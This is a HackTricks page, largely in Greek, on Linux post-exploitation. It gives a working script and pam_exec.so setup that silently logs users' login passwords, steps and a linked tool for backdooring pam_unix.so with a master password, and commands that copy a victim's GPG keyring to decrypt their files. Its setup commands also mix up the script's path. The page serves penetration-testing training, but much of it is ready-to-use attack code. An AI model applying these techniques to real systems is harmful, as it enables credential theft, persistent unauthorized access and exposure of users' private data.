Linux Post-Exploitation

Reading time: 5 minutes

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Sniffing Logon Passwords with PAM

Let's configure a PAM module to log each password each user uses to login. If you don't know what is PAM check:

PAM - Pluggable Authentication Modules

Για περαιτέρω λεπτομέρειες δείτε το πρωτότυπο άρθρο. Αυτό είναι μόνο μια περίληψη:

Technique Overview: Pluggable Authentication Modules (PAM) προσφέρουν ευελιξία στη διαχείριση authentication σε συστήματα βασισμένα σε Unix. Μπορούν να ενισχύσουν την ασφάλεια προσαρμόζοντας τις διαδικασίες login αλλά επίσης εγκυμονούν κινδύνους αν χρησιμοποιηθούν κακόβουλα. Αυτή η περίληψη περιγράφει μια τεχνική για την καταγραφή login credentials χρησιμοποιώντας PAM, μαζί με στρατηγικές μετριασμού.

Capturing Credentials:

  • Ένα bash script με όνομα toomanysecrets.sh δημιουργείται για να καταγράφει τις προσπάθειες login, καταγράφοντας την ημερομηνία, το username ($PAM_USER), το password (via stdin), και τη διεύθυνση IP του remote host ($PAM_RHOST) στο /var/log/toomanysecrets.log.
  • Το script γίνεται εκτελέσιμο και ενσωματώνεται στη PAM configuration (common-auth) χρησιμοποιώντας το pam_exec.so module με επιλογές για να τρέχει quietly και να εκθέτει το authentication token στο script.
  • Η προσέγγιση δείχνει πώς ένας compromised Linux host μπορεί να εκμεταλλευτείται για να καταγράφει διακριτικά credentials.
bash
#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

For further details check the original post. Αυτό είναι απλώς μια περίληψη:

The Pluggable Authentication Module (PAM) είναι ένα σύστημα που χρησιμοποιείται σε Linux για την πιστοποίηση χρηστών. Λειτουργεί με τρεις βασικές έννοιες: username, password, και service. Τα αρχεία ρυθμίσεων για κάθε service βρίσκονται στον κατάλογο /etc/pam.d/, όπου shared libraries αναλαμβάνουν την επαλήθευση ταυτότητας.

Objective: Τροποποιήστε το PAM ώστε να επιτρέπει authentication με ένα συγκεκριμένο password, παρακάμπτοντας το πραγματικό password του χρήστη. Αυτό εστιάζει ειδικά στη shared library pam_unix.so που χρησιμοποιείται από το αρχείο common-auth, το οποίο περιλαμβάνεται από σχεδόν όλες τις υπηρεσίες για την επαλήθευση του password.

Steps for Modifying pam_unix.so:

  1. Locate the Authentication Directive in the common-auth file:
  • Η γραμμή που είναι υπεύθυνη για τον έλεγχο του password ενός χρήστη καλεί τη pam_unix.so.
  1. Modify Source Code:
  • Προσθέστε μια συνθήκη στο αρχείο πηγαίου κώδικα pam_unix_auth.c που θα δίνει πρόσβαση αν χρησιμοποιηθεί ένα προκαθορισμένο password, διαφορετικά προχωράει με τη συνήθη διαδικασία authentication.
  1. Recompile and Replace the modified pam_unix.so library in the appropriate directory.
  2. Testing:
  • Η πρόσβαση επιτρέπεται σε διάφορες υπηρεσίες (login, ssh, sudo, su, screensaver) με το προκαθορισμένο password, ενώ οι κανονικές διαδικασίες authentication παραμένουν ανεπηρέαστες.

tip

Μπορείτε να αυτοματοποιήσετε αυτή τη διαδικασία με https://github.com/zephrax/linux-pam-backdoor

Decrypting GPG loot via homedir relocation

Αν βρείτε ένα κρυπτογραφημένο αρχείο .gpg και τον φάκελο ~/.gnupg ενός χρήστη (pubring, private-keys, trustdb) αλλά δεν μπορείτε να αποκρυπτογραφήσετε λόγω δικαιωμάτων/κλειδώματος στο homedir του GnuPG, αντιγράψτε το keyring σε ένα εγγράψιμο σημείο και χρησιμοποιήστε το ως GPG home.

Τυπικά σφάλματα που θα δείτε χωρίς αυτό: "unsafe ownership on homedir", "failed to create temporary file", ή "decryption failed: No secret key" (επειδή το GPG δεν μπορεί να διαβάσει/γράψει το αρχικό homedir).

Ροή εργασίας:

bash
# 1) Stage a writable homedir and copy the victim's keyring
mkdir -p /dev/shm/fakehome/.gnupg
cp -r /home/victim/.gnupg/* /dev/shm/fakehome/.gnupg/
# 2) Ensure ownership & perms are sane for gnupg
chown -R $(id -u):$(id -g) /dev/shm/fakehome/.gnupg
chmod 700 /dev/shm/fakehome/.gnupg
# 3) Decrypt using the relocated homedir (either flag works)
GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
# or
gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg

Εάν το υλικό του ιδιωτικού κλειδιού βρίσκεται στο private-keys-v1.d, το GPG θα ξεκλειδώσει και θα αποκρυπτογραφήσει χωρίς να ζητήσει passphrase (ή θα ζητήσει αν το κλειδί είναι προστατευμένο).

Αναφορές

tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks